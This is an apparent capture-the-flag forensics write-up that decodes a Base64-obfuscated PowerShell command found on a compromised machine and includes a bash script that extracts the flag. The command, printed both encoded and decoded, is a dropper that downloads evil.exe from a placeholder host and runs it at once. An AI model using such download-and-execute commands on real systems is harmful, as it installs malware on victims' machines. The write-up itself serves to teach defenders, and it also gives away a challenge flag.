SUS STAGING DROPPER

challenge author: John_X9
challenge level: Easy
Section: Forensics

BY : lelkiramkeel

desc:
while investigating a compromised workstation, you find this single PowerShell command executed.

C:\Windows\System32\WindowsPowershell\v3.1\powershell.exe -noP -sta -w 1 -enc TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vTklDQ1RGMjZ7NGI4ZjRiMGIwZTRlNGY0ZTRiOGY0YjBiMGU0ZTRmNGV9L19ldmlsLmV4ZScsJ2V2aWwuZXhlJyk7U3RhcnQtUHJvY2VzcyAnZXZpbC5leGUn

What is the command actually doing, and where is it pulling the payload from?

Solution:
This is a powershell one liner. From the option '-enc' we can clearly know that the following string is base64 encoded.
The following bash script tries to decode it

```
#!/usr/bin/env bash

# This bash script extracts the flag from the challenge.txt file
#

#Important consideration the commands might differ depending on the env
#If you have perl within your environment you can use this

if [ -f 'challenge.txt' ]; then

   decoded=$( grep -Po '-enc \K.*' challenge.txt | base64 -d )

   echo "${decoded}" > challenge_decoded.txt

   if [ -f 'challenge_decoded.txt' ]; then

       flag=$( grep -Po 'http:\/\/\K.*?(?=\/_evil)' challenge_decoded.txt
)
```

```
        echo "${flag}" > flag.txt
        echo "Flag : ${flag}"
    else
        echo "Error: file: challenge_decoded.txt: NOT FOUND"
    fi

else
    echo "Error: file: challenge.txt: NOT FOUND"
fi

##IF YOU DON'T HAVE PEARL INSTALLED YOU CAN USE sed
## e.g
## sed -n "s/^.*-enc //p" challenge.txt | base64 -d
##
## OR YOU CAN USE awk
##e.g
## awk -F "-enc " '{print $2}' challenge.txt | base64 -d
```

Looking at what is inside the decoded file we get:

New-Object System.Net.WebClient).DownloadFile('http://NICCTF26{4b8f4b0b0e4e4f4e4b8f4b0b0e4e4f4e}/_evil.exe','evil.exe');Start-Process 'evil.exe'

From this we can see, that the threat actor attempted to

- create a new object System.Net.WebClient
- Download a malware called from the site
  - http://NICCTF26{4b8f4b0b0e4e4f4e4b8f4b0b0e4e4f4e}/_evil.exe
- Save it as 'evil.exe'
- And immediately run the binary

This is a classic staging dropper commonly seen in malware infections, designed to fetch and execute a secondary payload with minimal footprint.

The flag is embedded within the web link

NICCTF26{4b8f4b0b0e4e4f4e4b8f4b0b0e4e4f4e}

Conclusion

This challenge highlights and create awareness on how threat actors might exploit a system through the following techniques:

- Base64 obfuscation
- Living-off-the-land binaries
- Immediate payload execution